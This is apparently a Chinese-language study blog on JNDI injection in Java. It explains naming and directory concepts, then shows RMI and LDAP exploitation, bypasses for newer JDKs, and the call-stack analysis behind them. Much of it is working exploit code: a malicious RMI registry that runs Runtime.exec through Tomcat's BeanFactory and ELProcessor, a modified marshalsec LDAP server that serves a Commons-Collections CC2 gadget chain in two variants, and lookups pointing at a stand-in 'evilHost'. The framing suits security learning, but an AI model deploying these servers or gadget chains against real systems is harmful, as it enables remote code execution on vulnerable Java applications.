写在前面
最近打算系统化梳理一下JAVA安全的知识点,本节知识点为JNDI,之前看了好多篇还并不是完全明白,这次再看加深印象。并且想自己动手写一个JNDI-Exploit,锻炼自己的工程化代码能力
什么是JNDI
全称:JAVA命名和目录接口(Java Naming and Directory Interface),通过调用JNDI的API可以定位资源和其他程序对象。现有可访问的目录和服务有JDBC LDAP RMI DNS NIS CORBA
命名 => Naming Service
命名服务主要是将名称和对象相关联,这里的对象并不是实体,而是对象的引用,其中包含着如何去访问对象的信息。
名称系统的几个重要概念
Bindings
: 表示一个名称和对应对象的绑定关系
Context
:一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象References
: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++
中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。
目录 => Directory Service
目录服务是命名服务的扩展,它允许对象还可以具有属性。提供在目录中进行CRUD对象操作
由此,我们可以通过两种方式使用JNDI:
- 常规方式使用名称服务
- 使用目录服务作为对象存储的系统,即用目录服务来存储和获取Java对象
我们可以通过统一的API来访问不同的目录服务实现,架构如下:
其中的API分为应用层接口和SPI

SPI
全称为 Service Provider Interface
,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装
一些需要的类
InitialContext
构造方法:
1 2 3 4 5 6
| InitialContext()
InitialContext(boolean lazy)
InitialContext(Hashtable<?,?> environment)
|
常用方法:
1 2 3 4 5 6 7 8 9 10
| bind(Name name, Object obj)
list(String name)
lookup(String name)
rebind(String name, Object obj)
unbind(String name)
|
Reference
对象的引用类
构造方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Reference(String className)
Reference(String className, RefAddr addr)
Reference(String className, RefAddr addr, String factory, String factoryLocation)
Reference(String className, String factory, String factoryLocation)
|
常用方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| void add(int posn, RefAddr addr)
void add(RefAddr addr)
void clear()
RefAddr get(int posn)
RefAddr get(String addrType)
Enumeration<RefAddr> getAll()
String getClassName()
String getFactoryClassLocation()
String getFactoryClassName()
Object remove(int posn)
int size()
String toString()
|
JNDI Reference 注入
前因:为了避免每次在命名服务绑定Java对象时都需要序列化大数据并传输,因此改为换成对象引用的方式。
对象就可以通过绑定一个可以被命名管理器(Naming Manager
)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference来表示,里面包括一个RefAddress地址有序列表和所引用的对象信息,包括类名、创建对象的ObjectFactory类的名称和地址

Reference
可以使用ObjectFactory
来构造对象。当使用lookup()
方法查找对象时,Reference
将使用提供的ObjectFactory
类的加载地址来加载ObjectFactory
类,ObjectFactory
类将构造出需要的对象。
这也是JNDI的利用原理,当lookup参数可控时,便可向指定位置加载恶意对象
具体流程如下,这里以RMI服务为例
首先服务端绑定引用到注册中心,并且该引用对象中工厂类位置为恶意class所在位置
1
| Reference reference = new Reference("Exploit","Exploit","http://evilHost/" ); registry.bind("Exploit", new ReferenceWrapper(reference));
|
客户端通过rmi协议发起请求,即可造成恶意文件,实例化类时造成RCE
1 2
| Context ctx = new InitialContext(); ctx.lookup("rmi://evilHost/Exploit");
|
JNDI-RMI
Client:
1 2 3 4 5 6 7 8 9 10
| public class Client { public static void main(String[] args) { try { Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo"); System.out.println("ret" + ret); }catch (NamingException e) { e.printStackTrace(); } } }
|
服务端启动恶意服务器,客户端运行

各个代码块执行顺序:
1 2
| static在类加载的时候执行 代码块和无参构造方法在clas.newInstance()时执行
|
高版本JDK限制
JDK 6u132
、7u122
、8u113
开始 com.sun.jndi.rmi.object.trustURLCodebase
默认值为false
如果想要直接运行,如要添加参数
1
| -D com.sun.jndi.rmi.object.trustURLCodebase=true
|
看下报错:

可以看到在com.sun.jndi.rmi.registry.RegistryContext#decodeObject
方法中,由于高版本trustURLCodebase默认为false,进入分支抛出异常

高版本JDK绕过
绕过方式可以针对条件句的三个子句尝试进行利用
如果按照第二个思路来的话,下一个执行为NamingManager.getObjectInstance()
,我们跟进。
这里会发现,如果ref
不为空的话,先获取到工厂类名然后会直接尝试实例化工厂类,如果不为null将会进一步调用工厂类的getObjectInstance()
方法

按照之前实验的客户端在lookup后的代码块执行顺序,我们只要能在这几个地方其中一个触发payload就行了
调用栈如下:
1 2 3 4 5 6 7
| InitialContext#lookup() RegistryContext#lookup() RegistryContext#decodeObject() NamingManager#getObjectInstance() objectfactory = NamingManager#getObjectFactoryFromReference() Class#newInstance() //-->恶意代码被执行 或: objectfactory#getObjectInstance() //-->恶意代码被执行
|
条件:
利用:Tomcat内置类
依赖
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-el</artifactId> <version>8.5.15</version> </dependency>
|
看下 org.apache.naming.factory.BeanFactory#getObjectInstance()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws NamingException {
Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { beanClass = tcl.loadClass(beanClassName); } else { beanClass = Class.forName(beanClassName); } Object bean = beanClass.getConstructor().newInstance();
RefAddr ra = ref.get("forceString"); String value = (String)ra.getContent();
for (String param: value.split(",")) { param = param.trim(); index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } forced.put(param, beanClass.getMethod(setterName, paramTypes)); }
Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); String value = (String)ra.getContent(); Object[] valueArray = new Object[1]; Method method = forced.get(propName); if (method != null) { valueArray[0] = value; method.invoke(bean, valueArray); } } }
|
这里首先会通过反射实例化类,但注意调用的是无参构造方法。接着获取forceString所有的引用地址,并通过逗号分隔,每个分隔值中如果出现等号,则将逗号右侧的值作为setter方法的别名,左侧作为参数引用。之后会将其放入forced这个map当中。后续会调用所有的setter方法,参数为RefAddr
的值(单参数),如此我们可以构造来实例化任意类并调用任意方法,只需满足该类含有无参构造函数以及可利用方法为单个参数传递
javax.el.ELProcessor#eval()
可以通过eval方法执行EL表达式

因此整个绕过流程,首先ref.getFactoryClassLocation()
需要为空,也就是在设置引用类是设置属性factoryClassLocation为空即可;接着在NamingManager.getObjectInstance()
成功实例化了本地存在的工厂类org.apache.naming.factory.BeanFactory
,后者通过newInstance
调用目标类的无参构造创建实例,并通过预设值的setter别名机制调用到javax.el.ELProcessor#eval()
从而出发最终的EL表达式注入
POC构造
这里的引用类利用了ResourceRef
,它是tomcat中对某个资源的引用,构造函数如下

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public static void main(String args[]) { try { Registry registry = LocateRegistry.createRegistry(1099); ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("calc", referenceWrapper); System.err.println("Server ready"); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); } }
|
这里x
即引用到的参数,其值即为javax.el.ELProcessor#eval()
要执行的参数内容

groovy 这个类之后再看
绕过总结:
Server:
使用ResourceRef
构造的beanClass
,这种利用方式构造的beanClass
是javax.el.ELProcessor
。
ELProcessor
中有个eval(String)
方法可以执行EL
表达式,javax.el.ELProcessor
是Tomcat8
中的库,所以仅限Tomcat8
及更高版本环境下可以通过该库进行攻击。
Client:
远程 RMI
服务器返回的 Reference
对象中不指定 Factory
的 codebase
,且使用本地的factory
,如BeanFactory
,以此绕过 trustURLCodebase
报错,执行 NamingManager
;
在factory
的静态代码块、代码块、构造函数和getObjectInstance
方法任意一个里面构造payload
,即可在 NamingManager
中执行。
工具:
JNDI_LDAP
LDAP服务是一种树型数据库,其中存在特殊的属性可以用来实现Java对象以序列化数据或者引用的方式来存储,这时如果被客户端解析的话,就可以引起远程代码执行
低版本JDK运行
工具利用marshalsec开启ldap服务
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass 8088
|

由于LDAP服务的Reference
远程加载Factory
类并不是使用的RMI Class Loader
机制,因此不受trustURLCodebase
限制(8u191)
恶意类放在服务器下

低版本结果

高版本结果

调用流程分析
前面的调用栈与RMI类似,lookup之后decodeObject
1 2 3 4 5 6 7 8
| decodeObject:235, Obj (com.sun.jndi.ldap) c_lookup:1051, LdapCtx (com.sun.jndi.ldap) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:417, InitialContext (javax.naming) main:7, Client
|
跟进com.sun.jndi.ldap.Obj.java#decodeObject()
,该方法会对服务端传来的数据根据不同的类型进行解码处理,类型可以是序列化数据或者引用对象,这里以引用对象为例

之后会调用decodeReference()
方法,其会获取服务端传来的属性值并构建一个Reference
实例
这里便

接着会返回到c_lookup
类中执行DirectoryManager#getObjectInstance()
其中var3为构建的引用类对象

这里可以看到首先将参数refInfo强转为Reference
类实例,接着调用getFactoryClassName
获取工厂类名,然后通过getObjectFactoryFromReference()
方法根据工厂类名获取远程调用类。我们看下这里的具体实现

其首先会从本地加载目标类,如果找不到的话再通过制定的工厂类位置来远程加载。整个过程没有URLCodebase
限制

跟进可以看到存在原生反序列化readObject()

改造marchalsec
服务端程序的sendResult()
部分即可,我这里的序列化数据以CC2为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| public class LDAPRefServer1 { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] args ) { int port = 8088;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new LDAPRefServer1.OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening();
} catch ( Exception e ) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) { this.codebase = cb; }
@Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); }
}
public static Object getPayload() throws Exception { String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass poc = classPool.makeClass("POC"); poc.setSuperclass(classPool.get(AbstractTranslet)); poc.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilCode = poc.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{evilCode});
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "whatever");
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(2);
Field field2 = queue.getClass().getDeclaredField("comparator"); field2.setAccessible(true); field2.set(queue, comparator);
Field field3 = queue.getClass().getDeclaredField("queue"); field3.setAccessible(true); field3.set(queue, new Object[]{templatesImpl, templatesImpl});
return queue; }
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaSerializedData", new Java().marshal(getPayload())); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
} }
|
触发点2:第一种改造
关注com.sun.jndi.ldap.Obj.java#decodeReference()
方法,其在重构Reference
对象的基础之上,如果存在javaReferenceAddress属性还会继续构建该属性,满足特定条件可以也触发deserializeObject()
方法

源码细节见:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u232-ga/src/share/classes/com/sun/jndi/ldap/Obj.java
需要满足的条件如下:
- 第一个符号为分隔符
- 第一个分隔符和第二个分隔符之间,表示
Reference
的position
,需要是整数类型
- 第二个分隔符到第三个分隔符之间,表示
type
- 第三个分隔符为双分隔符,用于表示为内容,之后的内容为序列化数据
- 序列化数据需要Base64编码
1 2 3 4 5 6 7 8 9 10
| protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo"); e.addAttribute("javaReferenceAddress", "$1$String$$"+new Base64Encoder().encode(new Java().marshal(getPayload()))); e.addAttribute("objectClass", "javaNamingReference"); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); }
|
JNDI-RMI
注入方式有:
codebase
(JDK 6u132
、7u122
、8u113
之前可以)
- 利用本地
Class Factory
作为Reference Factory
JNDI-LDAP
注入方式:
codebase
(JDK 11.0.1
、8u191
、7u201
、6u211
之前可以)
serialize
(两个切入点)
工具化利用
这里参考su18师傅和 welk1n 师傅的工具造个轮子,锻炼一下自己的工程化开发能力
之后新开一帖
参考链接